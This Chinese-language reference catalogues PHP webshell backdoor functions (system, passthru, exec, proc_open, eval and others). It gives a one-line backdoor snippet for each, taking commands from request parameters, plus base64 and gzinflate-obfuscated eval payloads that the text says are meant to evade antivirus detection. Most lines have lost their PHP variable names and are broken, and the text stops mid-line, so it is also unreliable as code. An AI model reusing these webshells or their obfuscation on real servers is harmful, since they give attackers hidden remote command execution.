:php后门木马常用的函数大致上可分为四种类型:
1. 执行系统命令: system,passthru, shell_exec, exec, popen,proc_open
2. 代码执行与加密: eval,assert,call_user_func,base64_decode,gzinflate, gzuncompress, gzdecode,str_rot13
3. 文件包含与生成: require,require_once, include,include_once, file_get_contents,file_put_contents, fputs, fwrite
4. .htaccess: SetHandler,auto_prepend_file, auto_append_file
1. 执行系统命令:
system 函数
//test.php?cmd=ls
system([cmd]);
passthru 函数
//test.php?cmd=ls
passthru([cmd]);
shell_exec 函数
//test.php?cmd=ls
echo shell_exec([cmd]);
exec 函数
//test.php?cmd=ls
= array();
exec([cmd],);
print_r();
popen 函数
//test.php?cmd=ls
= popen('[cmd],'r');
= fread(, 2096);
echo ;
pclose();
proc_open 函数
//test.php?cmd=ls
= array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
=@proc_open([cmd],, );
fclose([0]);
= array();
while (!feof([1]))array_push(,rtrim(fgets([1],1024),"\n"));
print_r();
2. 代码执行与加密:
eval 函数
//最常见的一句话木马
eval([cmd]);
base64_decode 函数
//为了免杀及隐藏而加密代码
//密文: eval(['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函数
//为了免杀及隐藏而加密代码
//密文: eval(['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函数
//为了免杀及隐藏而加密代码
//密文: eval(['cmd']);
eval(gzuncompress&...